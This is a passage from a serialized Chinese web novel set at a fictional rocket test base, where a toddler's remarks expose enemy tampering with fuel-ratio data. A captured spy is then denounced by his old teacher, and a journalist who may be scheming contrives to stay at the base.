“那只是理论模型。”钱老打断他,指了指自己的耳朵,“但孩子听见了。这说明存在一个我们从未计入模型的‘耦合效应’。”
“也许是燃料管路的微小形变,也许是燃烧室的异常波动……任何细微的差错,在几万转的高速下都会瞬间放大成灾难。”
他望向窗外那座银白色的钢铁巨兽,仿佛能透视它的内脏。
“甜甜说的‘咔嚓’,可能是应力集中的脆响;‘太烫了’,是局部过热的直观感受;而那个‘嗡嗡’声……那是特定频率被激发,振幅正在累积的前兆!”
“如果我们赌赢了,不过是一次普通的试车;但如果赌输了,这就是一场毁灭性的**!”钱老的声音斩钉截铁,“科学容不得**,更不能拿同志们的性命去填坑!”
指挥部里鸦雀无声。
所有人都清楚钱老的分量——当年鹰国曾断言他一个人能抵得上五个师的兵力。而他却甘愿放弃鹰国优渥的待遇、顶尖的科研条件,毅然踏上归国之路,只为在大夏一穷二白的土地上,造出属于自己的第一颗核**。
没有人怀疑他的专业判断,更无人质疑他的赤子之心。
如果钱老的判断是真的,那么明天的试车就不是“可能失败”,而是“必然**”。
黄伟志颓然坐回椅子上,声音沙哑:“钱老,我没意见。”
“其他人呢?”钱教授环视四周。
众人神色惨淡,却都坚定地摇了摇头。
他们心里都清楚,钱老说得对,明知有隐患还强行推进,那是对国家和人民的失职。
钱教授走到刘司令面前,直视着对方的双眼,语气沉重却坚定道:“司令,下命令吧。”
第34章 打破僵局!臭味背后的致命陷阱
刘司令看着钱老,又看了看梁哲怀里懵懂却眼神清澈的甜甜。他知道,这位一生严谨、从不轻下断言的科学巨匠,此刻是在用自己毕生的声誉,为一个三岁孩子的“童言”背书。
“理由?”刘司令问,这是一个必须记录在案的程序问题。
钱老一字一句地回答:“基于梁甜甜同志提供的异常听觉信息,结合我对发动机系统动力学的理解,我们有充分理由怀疑,在试车台当前准备状态下,存在诱发灾难性结构共振的潜在风险。继续试车,极有可能导致整机损毁、试车台严重破坏,并危及现场人员生命安全。”
“建议立即成立技术排查组,对发动机及辅助系统进行全面的、针对性的‘归零’复查。”
他说的是“梁甜甜同志”。
这一声“同志”,将甜甜的童言稚语,正式提升为了关乎国运的技术预警。
刘司令深吸一口气,目光扫过指挥部里每一张面孔。
他们或痛心、或恍然、或焦虑,但,没有人反对。
一秒钟之后,刘司令抓起了桌上的红色专线电话。
“接试车指挥中心——我是刘振邦,‘长剑’试车行动暂行推迟,立即执行三级戒备,燃料原地卸载封存,所有部门,重新复核全部数据!”
命令下达后,基地所有人员开始了高效运转,技术组火速奔赴试车台,对燃烧室、涡轮泵以及所有承压部件进行地毯式复查。研究组则按照计算草稿、过程数据,一笔一笔进行重新核算。
没有人喝水,没有人吃饭,所有人埋头在“归零”的复查中,只求能尽早找出问题的症结。
与此同时,基地传来了紧急消息,梁哲接起电话,脸色就变了。
“旅长!出事了!”
他快步走到白旅长身边,压低声音:“江国强不见了。”
“不见了?!”
白旅长声音陡然一紧,“不是命人严加监管,谁放走的?”
“不清楚,负责看守的战士被迷晕,事情发生在三分钟之前。”
“是万洪辛回来带走了他?”
“我问过了,战士们都说没见到万洪辛的身影,而且甜甜也说过,万洪辛受了伤,如果潜回基地,应该容易被人发现。”
“难道基地里还有别的敌特?”白旅长觉得这个推测令人头皮发麻,尤其是眼下这个节骨眼。
“基地里还有谁不在?”
“正在核查,初步报告是除了负责搜查万洪辛的留守部队,其余人都各司其位。”
“加派人手,掘地三尺也要把人找出来!这混蛋要是把基地的秘密泄露出去,后果不堪设想!”
白旅长越说越急,忍不住重重一拳捶在桌上。
“旅长,我亲自去!”宋大壮主动请缨,他是一员猛将,最最适合这种紧急搜寻任务。
白旅长点了点头,“提高警惕,对方可能狗急跳墙。如果条件允许,尽量抓活的。”
“是!”
宋大壮走后,指挥部的紧张气氛没有丝毫减少,所有人仍然投入到高强度的复查和核算中。
可一直检查了四五个小时,仍然没有任何头绪。
弹体组:“报告,我们严格按图纸加工,材料检验报告齐全!”
制导组:“单元测试全部通过,组装后联调数据正常。”
测试组:“经过校验,所有数据均符合设计部标准参数,零件入厂检验报告齐全。”
一个又一个潜在的隐患被推翻,意味着复查工作又回到了原点。
众人一筹莫展。
时间已经过了零点,指挥中心所有人都没有睡意。
唯一一个陷入睡眠的,是累了一天的小甜甜,她被梁哲抱到指挥部里间的单人床上,身上搭着爸爸的军大衣,露出一张圆乎乎的小脸,长长的睫毛偶尔轻轻扇动。
小丫头睡得并不踏实。
她的小手仍握着爸爸的大掌,不时发出一两声含糊的呓语。
梁哲看着女儿的睡颜,一颗心被酸涨填满,她费了那么大力气来找自己,传递了这样至关重要的消息,就是不知道是真的隐藏着潜在危机,还是……
他不敢再想下去。
“爸爸……好臭啊……”
睡着了的甜甜皱起小鼻子,像是闻到了什么古怪的味道。
她翻了翻身,把脸埋在爸爸的大掌里,却仍然喃喃地说:“臭臭,好臭臭。”
梁哲以为她是闻到了指挥部里的油墨味或机器味,用空着的另一只手体贴地在她面前扇了扇,悄声问:“还臭吗?”
“臭臭……甜甜不喜欢,臭**。”
甜甜没有睁开眼睛,却在无意识地抱怨。
梁哲停顿了几秒钟,突然间,脑海中闪过一道惊雷!
“警卫员!”他低声急喝。
门外侍立的小战士立刻推开门:“**!”
“快去请钱教授!”
不到一分钟,钱教授就已经披衣冲了进来,身后还跟着刘司令和王总设计师。
三个人的表情都凝重到了极点。<
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br>“怎么了,甜甜又发现什么了。”
王总设计师声音急切。
“老王,别慌。”钱教授拦了一下王总设计师,“小囡还在睡觉……”
话音未落,甜甜喃喃地开口,“好臭呀……”
钱教授三人同时怔住了。
“臭?”
他和王总设计师对视一眼,一瞬间,无数的念头纷至沓来,两人极有默契地退了出来。
“不是结构共振。”王总设计师率先开口。“也不是材料问题,振动或断裂不会触发嗅觉。”
“难道是燃烧不稳定?”钱教授望向夜色中轮廓清晰的试车台,若有所思。
“臭臭的?”闻讯赶来的化工组李工脚步一顿,“钱老,这不对!我们的燃料产物在理想状态下气味不明显,更不该有臭味!除非……”
“除非燃料成分有问题。”钱老接过了他的话,声音沉了下去。“或者,混入了不该有的东西。”
这几个字像一盆冷水,瞬间浇冷了所有人。
“不可能!”李工急急地说,“氧化剂燃料混合比是我亲手算的、亲手写的配方,光验算的草稿纸就有数十张,怎么可能出错?”
另一名工程师接口:“而且燃料入库和加注前,我们都做过抽样检验,理化指标是符合标准的!”
“标准是什么?”钱老追问,“是根据设计文件上的配方和参数制定的检验标准,对吗?”
“是……是的。”
“如果核心参数本身就被篡改了呢?”
刘司令眉头一皱,“同志们,你们么不是忘记了?这里不光有我们自己人,还有敌特环伺。”
“调原始数据!”钱教授当机立断。
所有人都意识到问题的严重性——如果从设计端就开始出现系统性的误导,那意味着很多数据会在实际试车时形成一个完美的‘错误闭环’,直到点火后爆发灾难性的后果!
“敌人很高明。他们可能没有动成品燃料,而是动了数据的源头。甜甜闻到的‘臭味’很可能就是来源于此,只是被我们忽略了。”
“李工!”王总设计师下令,“你亲自带队,去燃料库重新取样!跳过常规检查,直接做全成分光谱分析!重点查杂质和水分!”
“是!”李工不等他话说完,转身就往外冲。
同一时间,相关的设计图纸和计算草稿也被紧急送到了指挥部。几十双手在昏黄的灯光下疯狂地翻动着纸张。
噼里啪啦的算盘声响彻大厅。
第35章 致命漏洞惊呆众人,作恶敌特遭擒获!
忽然——
“李工!”
一名年轻的技术员惊呼出声:“你看这个!”
李工一把抢过资料,只见上面赫然列着两组数据:
原始草稿配比:2.05
最终生产配比:2.08
“这怎么可能?!”李工的手剧烈颤抖起来。
2.05和2.08看似微小的差距,对于发动机而言却是天壤之别。
过高的氧化剂比例会导致燃烧急剧恶化,产生大量积碳和剧毒气体,同时释放出的巨大热量会瞬间烧毁涡轮叶片,引发**!
这,就是甜甜口中“臭臭”的来源!也是“太烫了”、“撑破了”的真正原因!
“被篡改了……”李工喃喃自语,看着手中的纸,感到一阵眩晕,“我写完后交给文印室统一誊抄,中间肯定有人做了手脚……”
在那个依靠算盘、手摇计算机和人工抄录的年代,一份核心数据从笔尖到车间,要经过无数次转手。
任何一环被动手脚,都会导致最终产品偏离设计。
所有的线索在这一刻完美闭合,指向了一个令人毛骨悚然的真相——
敌特分子早已渗透进来,目标就是篡改基础数据,让明天的试车彻底失败,让国家数年的心血毁于一旦!
而随着这组数据的发现,又有四个篡改记录被众人揪了出来。对方行事极其狡猾,专挑一些容易被忽视的地方下手,妄图凭借微小的改动,形成系统性的误导。
指挥部里,一片死寂。
所有人的脸上都写满了震惊、愤怒,还有深深的后怕。
如果不是甜甜冒着危险跑过来预警,如果不是钱教授力排众议,一锤定音,明天的试车台上,等待他们的将是吞噬一切的火海!
“司令,”钱教授摘下老花镜,揉了揉布满血丝的双眼,“幸好,一切都还来得及。只要修正配比,排查损伤,我们还能赢回来。”
王总设计师点了点头:“还要彻底清查所有数据链,确保万无一失。”
刘司令点了点头,脸上的怒容渐渐褪去,取而代之的是一种劫后余生的庆幸。
“同志们,我们必须要承认,虽然咱们跌了个跟斗,但这跟斗跌得好啊,能让我们警醒之前的工作,是不是一切过得太顺利了,才让大家产生了麻痹心理,忽视了科学的严谨性。”
“如果不是梁甜甜小朋友,咱们的里子面子就全丢没了,甚至,还得报废几把老骨头。”
“事不宜迟,王总、黄主任,立刻组织人手,务必在最短时间内排除所有隐患,恢复数据正常!”
“是!”
这场风波到此总算告一段落,指挥部众人长舒一口气,开始陆续起身,拖着疲惫的身体返回营房休息。
这场连续数小时的与时间赛跑、与隐患博弈的鏖战,耗尽了所有人的力气,万幸的是,他们终究还是顶住了如山般的压力,用尽全部智慧,总算在试车前找到了致命的隐患,避免了一场车毁人亡的浩劫。
然而,指挥部内并非所有人都选择了休息,还有一些人被强烈的责任感驱使着,仅在桌上趴着眯了半个钟头,便又重新坐回桌前,扎进了数据与图纸的海洋里。
警卫员送来的温水早已凉透,包装简易的充饥饼干被随意推到了桌角,个人的饥寒与疲惫早已被抛到了九霄云外,没有什么比尽快修正相关数据、确保后续的面试车顺利推进更重要。
这份刻进骨子里的责任感,如同钢铁般坚硬的信念,支撑着他们无视所有困难,以超乎常人的意志力坚守在自己的岗位上。
天边渐渐泛起鱼肚白,微弱的晨光穿透指挥部的窗户,洒在一张张布满倦容却依旧坚毅的脸庞上。
彻夜未眠的人,与短暂休整后再度归来的人,重新汇聚在一起,投入了新一轮的战斗。
这群大夏国的脊梁,国防科研事业的基石,正用自己顽强的毅力和顶尖的技术,为全国人民拼一场光明的未来。
指挥部的单间内,那张原本属于刘司令的行军床上,甜甜正在上面安稳地睡着。老司令自己则坐在外间的椅子上,披着外套阖目养神。
梁哲看着这一幕,心中泛起一阵酸涩。他深知老司令连日的辛苦,几次
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想请他进屋休息,都被摆手制止了。
“孩子今天立了大功,我这个老头子为她做不了什么,让她好好睡个安稳觉吧。你是孩子爸爸,就负责把她给我照顾好,这是命令。”
梁哲望着老司令深陷的眼窝和布满血丝的双眼,鼻头一酸,强忍着喉间的哽咽,答应了一声:“是!”
他轻手轻脚退回单间,不忍惊扰女儿沉睡的容颜,便在她脚边蜷缩着,靠着冰冷的墙壁,闭目打了个盹。
天刚蒙蒙亮,指挥部的内线电话突然急促地响起,一直守在旁边的警卫员一个箭步上前,迅速抓起听筒。
他已经尽量放轻动作,可椅子上的刘司令还是立刻睁开了眼睛,含糊问道:“出了么子事?”
“司令!好消息!万洪辛找到了!”警卫员声音透着惊喜,“是江国强教授抓住的!”
“哦?”刘司令瞬间坐直身子,“么子情况?”
他从警卫员手中接过听筒。电话那头宋大壮兴奋道:“报告司令!江国强同志在沙漠里点燃了仙人掌,用浓烟给我们报了信,我们赶过去时,已经把万洪辛控制住了!”
“人活着吗?”刘司令立刻追问。
“活着!他身上有伤,想死没死成!”
“给老子看紧喽!”
刘司令是从卫国和抗战的尸山血海里厮杀出来的,征战养成的杀伐果决和火爆脾气在这沙漠里都快磨没了,此刻听到有敌特落网,立刻来了精神,“备车!老子亲自过去!”
梁哲早已从里间走出,闻言立刻请缨:“司令,我带队护送您!”
“你走了,甜甜怎么办?”刘司令皱起眉。
恰在此时,王总设计师带着几名核心技术人员匆匆赶来,听闻情况后当即表态:“司令,审讯敌特是大事,梁哲同志有这方面的经验。甜甜交给我们,这孩子睡得正沉,一时半会醒不了,我们就在这守着,保证她安全。”
刘司令略一沉吟,接受了这个提议。
一行人不再耽搁,迅速从实验场出发,几辆军车呼啸着驶离基地,朝着宋大壮报告的方位疾驰而去。
第36章 怒怼叛徒!大夏人的腰杆,绝不能弯
离目的地还有一段距离时,便已看见荒漠上空那道灰白色的烟柱,笔直地升向天空,像一支醒目的路标。
车辆立刻转向,朝着烟柱驶去。
待到近处,景象渐渐清晰,几辆军车呈扇形停在沙丘旁,全副武装的战士们**警戒,封锁了四周。
脚下,那丛被点燃的仙人掌还在冒着缕缕残烟,空气中弥漫着一股烧焦的草木气息。
包围圈中间,停着一辆民用牌照的嘎斯69吉普车。这辆车看起来有些年头,左前轮深深陷在沙坑中。车门大开,后座上趴着一人,一动不动。
车头的沙地上,几名战士正围着一个被反铐双手的男人。他蓬头垢面,上衣敞开,胸口被骆驼刺扎出了好几个血洞,伤口处还渗着鲜血。孙军医正蹲在他身旁为他止血包扎。
正是万洪辛。
在他对面,江国强盘膝坐在沙地上,脸色铁青。
他身上倒是完好无损,只是头发凌乱如鸡窝,衣服上沾满了沙土,原本戴着的眼镜断了一条腿,勉强挂在鼻梁上,模样狼狈,却绷着一股不肯妥协的怒气。
听到军车驶近,江国强抬起眼皮,扫了一眼从首辆军车下来的刘司令,以及紧随其后的梁哲等人,从鼻腔里重重哼出一声,丝毫没有起身的意思。
“怎么回事?”刘司令目光环过全场,最后落在宋大壮脸上。
“报告司令,我们赶到时,万洪辛已经浑身是血,意识不清,车也陷在沙坑里。是江国强教授点燃仙人掌,用浓烟给我们报了方位。”
刘司令点了点头,转头看向江国强,语气缓和了些:“江国强同志,辛苦你哒。讲讲看,到底是么子情况?”
“刘振邦,我最后说一次——我不是敌特!”江国强一听“同志”二字,怒气反被挑起,“你们不由分说关押我,该给解释的是你们!”
刘司令不以为忤,从兜里摸出烟盒,递了一支过去:“火气莫要这么大。万洪辛是你的助手,又是你学生,他出了问题,组织上对你进行审查也是程序。”
“我宁愿没教过这种学生!”江国强别过脸,不接他的烟。
“那你是怎么从基地出来的?”
“我也想知道!”江国强余怒未消,语气冲得很,“你们的人盯得那么紧,我连门都出不去。后来外头突然有动静,等我反应过来,门已经从外面开了,连个人影都没见着。”
“卫兵呢?被哪个放倒的?”
“我怎么知道?”
江国强不耐烦地轻嗤一声。
见刘司令依然盯着他不放,犹豫片刻,才闷声道:““……不过闻到了点**味儿。这东西,可不是一般人能弄到的。”
“所以你就趁机出来了?”
“基地当时正乱,我本就想找万洪辛问个明白。一出门,就看见他的车停在那儿。”
“搞半天,他是来接应你的?”
“或许吧。”江国强冷冷瞥向万洪辛。对方始终垂着头,不敢与他对视。
但他心里清楚:万洪辛是想劫持自己为人质,就像那个被打晕在车后座的无辜司机一样。只是他失血过多、力气耗尽,车又陷进沙坑,才没能得逞……
江国强望向那支已被宋大壮缴下的**,几乎能想象出,万洪辛用枪抵着自己后背、逼迫自己充当人盾的模样。
刘司令若有所思地看了看那辆吉普:“他从哪里搞来的车子?”
江国强抿唇不语。
宋大壮指向后座:“司令,应该是劫的车。原车主被他打晕了。”
刘司令摸了摸下巴,目光转而投向万洪辛:“万技术员,你没么子想说的?”
万洪辛自从追赶甜甜受了伤,就一直没有得到有效的救治,一路强撑着逃窜,此刻早已没了力气。
他现在的脸色苍白如纸,嘴唇干裂出血,听到刘司令的话,他缓缓抬起头,眼中闪过一丝绝望与不甘。
“我本来想,带着老师一起走……”他的声音里带着苦涩,“没想到……江老师会出卖我……”
“我出卖你?!”
江国强一听这话,积压的怒火瞬间爆发,猛地从地上站
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起来,指着万洪辛的鼻子破口大骂:
“你这个狼心狗肺的东西!老子是有党性、有原则的人!怎么会教出你这么个叛徒,败类!你对得起国家?对得起死在鬼子刀下的爹妈吗?”
“老师……”
“别叫我老师!我没你这种学生!”
江国强满腔愤怒,“你最难的时候,是国家出钱供你读书,送你去留洋深造!回国后,又把你安排在这么重要的岗位!可你呢?你不仅不思回报,竟然暗通外敌,拿国家的机密换那点肮脏的**!”
“我那不是为了能过几天好日子吗?”
事到如今,万洪辛也豁出去了。“你看看这儿!吃粗粮、喝生水,几个月见不着荤腥!还想搞**?拿什么搞?命吗?你跟着他们只会把命搭进去!”
“搭进去老子认了!”
江国强愤怒至极,他怎么也想不通,曾经那个意气风发、立志报国的青年,怎么就变成了这副贪生怕死的模样。
“是,这儿是苦!是穷!是被人卡脖子!可这就是我的国!我生在这儿、长在这儿,对它有情分!我宁可勒紧裤腰带、熬干这身血肉,也要把腰杆挺直了,把咱们自己的东西搞出来!凭什么外国有的,我们不能有?我们大夏人比他们笨吗?论文明,我们是他们的祖师爷!”
“他们不就比咱们早起步百十年吗?我们不服!我们偏要用自己的脑子、自己的手,追上他们、超过他们,堂堂正正站到他们面前!落后就要挨打,难道你还想子孙后代继续让人骑在脖子上,一辈子给他们当奴才?!”
“万洪辛,你骨头软,别以为所有人都跟你一样!你不要强,也别以为大夏没有硬脊梁!你贪那点臭钱,我告诉你,到什么时候,这片土地上都有折不弯、压不垮的腰杆子!你以为谁都像你一样见钱眼开,想拉老子和你同流合污?我呸!你打错了算盘!!!”
最后一个字说完,江国强狠狠朝地上啐了一口,眼神里尽是鄙夷与痛心,仿佛多看对方一眼,都脏了自己的眼睛。
第37章 沙漠遇故人!获救女同志身份曝光
万洪辛被他骂得脸上青一阵白一阵,嘴唇嗫嚅了半天,没能再说出一个字。
此时孙军医已经将他的伤口包扎完毕,宋大壮上前一步,像拎小鸡似的将他一把提起,盯着他那副畏畏缩缩的小人之相,嫌恶地断喝一声:“上车!”
万洪辛这种人,既然能做出数典忘祖、出**家的勾当,自然是惜命如金的。他不敢有半分反抗,灰溜溜地被宋大壮推着往军车走去,跨上车门的前一刻,还是忍不住回头瞥了一眼江国强。
后者干脆地转过脸去,一副从此恩断义绝、再也不想认识他的决绝模样。只是那挺得笔直的背影里,究竟藏着多少难以言说的失望与痛心,就只有他们彼此知道了。
等到车门“嘭”的一声关上,才将万洪辛那最后一眼彻底隔绝。
江国强站在原地,望着军车扬起的沙尘,久久没有动。眼镜断腿在鼻梁上滑了一下,他抬手扶住,指尖却有些颤抖。
刘司令走到他身边,将方才那支烟重新递过去。这一次江国强没拒绝。
他就着司令划亮的火柴深深吸了一口。烟雾从肺里滚过,又从鼻腔缓缓吐出,像是要把胸腔里那团郁结的浊气,一并吐个干净。
“**啊,”刘司令的声音不无遗憾,“你这学生……可惜了。”
“不可惜。”江国强哑着嗓子,斩钉截铁,“路是自己选的。他选了哪条,就得承担哪条路的后果。”
梁哲在一旁沉默地看着。他想起钱教授带病返回实验场,想起老司令苦熬多日的疲倦的眼睛,想起那些彻夜围在图纸前、用凉水和饼干硬扛的技术员们。然后他又看向眼前这个衣衫褶皱、眼镜歪斜,却脊梁挺得笔直的老教授。
有些人跪着活,却自以为聪明;有些人站着死,却扛起了一个时代的重量。
“梁团!”
警戒的战士忽然出声,梁哲循声望过去,见车后座伏着的人影轻轻动了动。
孙军医快步上前,在他耳边道:“人没事,就是崴了脚,又被万洪辛打晕了,刚醒过来。”
“醒了就好。”梁哲刚开口,孙军医已抬脚走向后座,“我先去看看情况。”
他上了车,先探了探对方的脉门,确定脉搏跳动平稳,才轻声询问:“同志,你感觉怎么样?能听见我说话吗?”
座位上的人“唔”了一声,带着忍痛的轻吟。
“脑袋晕不晕?能试着自己坐起来吗?”
那人抬起一只素白的手,轻轻按着太阳穴,然后慢慢地撑起了身子。
警戒的战士和梁哲这才看清,对方动作轻缓柔美,带着一股曼妙之意,原来是位女同志。
随着她的坐起,一头长发散在肩上,乌黑的发丝透着莹润的光泽,衬得半张侧脸雪也似的白。
女子似乎还有些眩晕,她虚弱地靠在椅背上,整个人透着一股娇柔易碎的美。
梁哲徐徐眯起眼睛,觉得这个女人有些眼熟。
“同志,你没事吧?需不需要送你去镇上的医院检查?”孙军医又问。
女子安静了片刻,才缓缓张口,轻声道:“同志,谢谢你,我没事。”
说着,她睁开眼睛,打量四周,一眼望去,尽是挎枪肃立的军人,个个神色冷峻。她怔了一下,肩头微颤,像是被这阵仗吓到了。
孙军医忙道:“别怕,我们是驻军部队,是保护老百姓的,刚才劫你车的人已经被抓住了,你现在感觉怎么样?有没有哪里特别不舒服?”
“我……”
女子张了张口,正要回答,美目一转,忽然落在梁哲身上,眸中骤然亮起一道光,“同志!是你吗?”
她看着的正是梁哲的方向。
梁哲一愣,下意识看了看左右——身边并没有其他人,她确确实实是在和自己说话。
“你是……”
他刚说了两个字,忽然间,一个面庞在脑海中闪过,他这才反应过来,难怪觉得眼熟,不久前在镇上,他确实见过这位女同志!
不止见过,还帮她从几个小混混手里抢回了挎包,对方还特意送了甜甜一本画册。
“沈同志?是你?”
沈若文眸中闪过惊喜,她试图直起身子,向梁哲道:“是我,你还记得……”话音未落,忽然“哎哟”痛呼一声,伸手捂
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住了脚踝。
孙军医在旁,连忙抬手扶住她:“这位同志,你脚踝扭伤了,先别乱动。”
沈若文脸上痛楚未消,看着自己肿起的脚踝,担忧道:“那……骨头没事吧?会不会影响以后走路?”
孙军医早在她昏迷时就为她检查过,当即道:“骨头应该没事,就是软组织挫伤肿的厉害。需要静养消肿,这段时间千万不能乱动。”
沈若文看了一眼自己陷在沙坑里的汽车,脸上愁云密布,默然不语。
梁哲上前一步,问道:“沈同志,你怎么一个人开车到沙漠里来了?”
沈若文的脸上闪过一丝懊恼:“我是报社派来采风的。现在条件艰苦,领导要求我多拍些群众艰苦奋斗的素材,展现大家战天斗地的精神,鼓舞全国人民共克时艰,更好地投身祖国建设。没想到刚进沙漠没多久,我就迷路了。”
“就你一个人来的?没找个搭档陪同?”
沈若文听出他话里的质疑和不信任,不禁微微沉下脸。
“我一个女同志怎么了?妇女能顶半边天,我能独立完成采访任务,不需要依附任何人。”
梁哲听出她语气不悦,自知失言,连忙解释:“抱歉,我不是那个意思,我只是担心你的安全。”
沈若文看出他表情诚恳,神色稍缓:“我当然知道,你之前帮过我,我信得过你的人品,只不过确实有很多人不相信我们女同志的能力,总是用怀疑的眼光看我们,觉得我们什么事都要依靠男人。”
梁哲心想,道理是没错,可一进沙漠就迷路,这“独立完成任务”似乎打了点折扣。他自然不会说破,转而问道:“你是怎么被人劫了车的?”
沈若文心有余悸,叹息一声,“是我大意了,在沙漠里转了好几圈,没找到路,倒碰上了那个人,他自称是位援建的专家,不小心受了伤,请求我载他回镇上看病,我看他样子狼狈,没多想就停了车,没想到……”她摇了摇头,没再说下去。
说到这里,刘司令已经走了过来,他看看沈若文,又看看梁哲,“小梁,你认得这位女同志?”
第38章 沙漠惊魂后,美女记者想要留在基地
沈若文一见刘司令肩上的将星,立刻敛容,正色道:“**您好,我是‘西北建设报’的记者,沈若文,今天是来沙漠采风的,多亏你们救了我。”
说着,她从自己上衣口袋里掏出记者证,又指了指副驾驶上放着的照相机和自己的挎包。
“啊,是记者同志啊,蛮好蛮好。”刘司令立刻换上一副笑容,接过记者证看了一眼便还给她,“你认得我们梁哲团长?”
沈若文脸上泛起一丝腼腆的红晕,“我们……之前在镇上见过一面。这位同志见义勇为,帮过我。我还……还不知道他的姓名和职务。”
“啊,是这样啊。”刘司令意味深长地扫了梁哲一眼,梁哲面上不动声色,手心却微微有点出汗。自己当初在镇上见义勇为时,并没有向基地报告,严格意义上来说,这在纪律严明的部队是违反规定的。
看来,一份检查怕是跑不掉了。
“沈同志受伤了是吧?”刘司令目光又转了回来,向沈若文体贴地道:“你这是被我们的事牵连了,啷个情况我让人送你去镇上就医,医药费都由部队给你报销,再给你二十块钱慰问金,要得不?”
二十块钱在当时是一笔不小的数目,再加上主动送医,按理说沈若文没有拒绝的理由。
可对方听了,却露出为难神色,抿住下唇既没点头,也没拒绝。
孙军医在一旁插嘴道:“司令,我看沈同志伤得不重,就是崴了脚,回去冷敷一下,多休息就好,没必要去医院折腾。”
他心想,司令这也太大方了,二十块钱能买多少药品啊!
刘司令却不以为意:“那怎么行?伤筋动骨一百天,更何况是一位女同志。小王!”
“到!”一名年轻战士立刻应声上前。
“你开着沈同志的车,送她去镇上医院做个全面检查,年轻人,莫留下么子后遗症。”
小王还没来得及应答,沈若文却幽幽开口:“**……”
“嗯?”
“我……能不能提个请求。”
“还有么子困难?”
“我……”
沈若文欲言又止。
“讲嘛,有困难尽管提,人民军队为人民嘛。”刘司令态度和蔼又可亲。
沈若文眼波流转,似乎在组织语言,片刻后,才鼓起勇气说道:“我能不能……暂时留在部队?”
“嗯?”
“我的意思是……”沈若文脸颊微红,急忙解释,“我单位在省城,一个人在镇上既没亲戚,又没朋友。如今腿脚不便,回去恐怕连吃饭都成问题。我想……暂时在部队借住一段时间,等伤养好了,我立刻就走,绝不多留!”
生怕众人怀疑她的意图,她又急忙补充:“您放心,我知道轻重,部队有保密纪律,我一定只在外围,绝不乱走,不乱看乱问,只求能给我个养伤的地方。”
“你这个要求嘛……”
刘司令叉着腰,摸着下巴,没有立刻回答,眼角余光却一直瞥着梁哲。
梁哲听到她说“留下”二字时,眉头就不易察觉和皱了皱,但对方是向刘司令提出的要求,以他的职位,不便插嘴,更无权反对。
“**,真的不行吗?”沈若文见刘司令迟迟不答复,眼中蕴了一点泪,她本来生得极美,这样一看,更加楚楚动人,让人不禁心生怜惜。
孙军医等众人也没料到沈若文竟能提出这样一个要求,基地是军事重地,闲杂人等一律不准入内,大家都觉得,刘司令绝不会答应这个不合规矩的要求。
哪知刘司令沉吟了几秒钟,竟然点了点头:“你讲得也有道理。一个女同志,受伤在外,确实不容易。那好嘛,你就先在我们部队将就一阵子,等伤养好了,我们再派人送你回去。”
“真的吗?谢谢**。”沈若文眼睛一亮,脸上露出惊喜的笑容。
其余人全都一愣,万万没想到一向警惕性极高、原则性极强的刘司令,竟然会答应这个请求。
梁哲的表情,则变得若有所思。
“不过嘛
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,”刘司令板起脸,话锋一转,“我也有个要求。”
沈若文忙道:“**请讲。”
“我啷个要求就很简单了,既然你留下来了嘛,那就得发挥点余热。多给我们拍点照片,写点报道,把咱们战士们艰苦奋斗的精神面貌宣传出去。这是**任务,要不得含糊!”
“当然没问题!这是我应该做的!”沈若文立刻答应。
“好,那就这么定了!”刘司令一锤定音,“梁哲,安排个干净点的房间,给沈记者住。另外,通知后勤,加个菜,别怠慢了记者同志。”
“是。”
众人纷纷上车,梁哲带了几名战士,把陷在沙坑里的车推出来,一路开回基地。
到了营区门前,其余众人都鱼贯下车。唯独沈若文让人犯了难。
她脚踝肿得厉害,根本无法站立。若要抬着或者背进去,女同志力气不足,只能由男同志来。
那这个人选会是谁呢?
正当大家迟疑间,车窗降下,沈若文柔柔弱弱地唤了一声:“梁团长。”
站在车下的梁哲脚步一顿。
“我……”沈若文眼睫扇了扇,充满歉意和羞赧,想说的话,都噎在了喉咙里。
梁哲瞬间明白了她的意思。可他与她素昧平生,又是孤男寡女,过分亲近难免引人非议,早已决定避嫌,因此并没有想上前的打算。
沈若文拉不下脸把话说透,梁哲又不肯主动迈步,两人之间的空气仿佛凝固了一般,透着一股说不出的尴尬。
刘司令看在眼里,心下门清,他清了清嗓子:“梁哲同志。”
“到!”
梁哲条件反射地立正站好。
“你小子,怎么一点眼力见都没有?”刘司令朝沈若文的方向一努嘴,“去把沈记者接下来,送回营房里去。”
梁哲的眉头皱了皱,声音微微压低:“司令,我……”
“你什么你!发扬一下军民互助精神,这是命令!”
梁哲无奈,只好应了句:“是。”
第39章 心机试探!女记者蓄意贴近,甜宝空降护爹
他走到车前,看了眼沈若文肿胀的脚踝,她坐在车内,如果要背她,需要她自己挪到车门前。
“沈记者,你能挪一下吗?”
沈若文轻轻咬住下唇,摇了摇头,大眼睛里蒙着一层水汽,声音细弱:“疼得厉害……动不了。”
梁哲的眉皱得更深了。
这情况,他若要送她下车,就只能探进车厢,一手架住她的手臂,一手抄起她的腿弯——那分明是极其暧昧的搂抱姿势。
除了已故的妻子林淑芬,他从未对任何女同志有过亲密的接触。更何况此刻众目睽睽,周围还有不少战士围观,这要是真抱了,指不定会传出多少闲话。
见他迟迟不动,沈若文不好意思地歉然道:“梁团长,实在对不住,要不……你再等我缓一缓?说不定过一会儿就能动了。”
此刻其他随行人员已经陆续走进基地,剩下的战士们正好奇地往这边张望。梁哲心里暗自焦急,实在不想把时间都耗在这里。
况且司令的命令又不能违抗,再矫情下去,只会越拖越尴尬,让双方都下不来台。
他深吸口气,背对车门,侧身坐进后排了座椅边缘。
“沈记者,”他背对着她说,“你趴到我背上来吧。”
他身姿高大挺拔如松,即便只是坐着,肩背的线条依旧宽阔利落,笔挺的军装衬得他英姿焕发,散发着军人独有的硬朗气质。
沈若文本意是想让他横抱起自己,好制造出暧昧的,引人遐思的气氛,没料到梁哲会想出这么个“避嫌”的法子。心里不免掠过一丝失望。
可转念一想,这已经拉近了两人之间的距离,要是再提出多余的要求,难免会引起梁哲的戒心,反而得不偿失。
“梁团长,”她声音更显轻柔,“麻烦你再往里坐一点,我有点够不着。”
梁哲默然,又向后挪了少许。
下一秒,一双柔软的手臂从身后环住了他的脖颈,沈若文身体前倾,慢慢将重量压上去。身体不可避免地贴紧他宽阔的后背,温热的体温隔着薄薄的衣衫传递过来。
梁哲察觉出对方靠得太近,有意拉开距离,但沈若文与他挨得极近,他只好深吸一口气,腰腹发力,准备背着她起身。
“嗯……”一声细碎的痛呼突然在耳边响起,带着几分故作的娇媚。
梁哲的动作立刻停住:“怎么了?”
沈若文环着他脖颈:“梁团长,你……你能不能搂着我的腿?我这样用不上力气,怕摔下去。”
